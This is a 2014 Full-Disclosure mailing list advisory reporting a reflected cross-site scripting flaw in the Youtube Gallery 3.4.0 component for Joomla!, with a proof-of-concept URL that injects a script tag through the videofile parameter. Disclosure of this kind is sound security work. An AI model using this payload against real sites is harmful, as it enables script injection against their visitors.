XSS Vulnerability in the Youtube Gallery 3.4.0 Component

Mahmoud Ghorbanzadeh <[email protected]> Sat, 15 Mar 2014 03:37:41 -0700 (PDT)
Newsgroups gmane.comp.security.full-disclosure
Message-ID <[email protected]>
Hello,

Cross-site
scripting (XSS) vulnerability in the Youtube Gallery 3.4.0 component for Joomla! allows remote attackers to inject arbitrary web
script or HTML via the videofile parameter to /includes/flvthumbnail.php.

POC:
http://SiteAddress/joomla/components/com_youtubegallery/includes/flvthumbnail.php?videofile=<script>alert('XSS')</script>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/
Youtube Gallery XSS Vulnerability Report.docx (application/vnd.openxmlformats-officedocument.wordprocessingml.document, 34.2 KB) - not displayed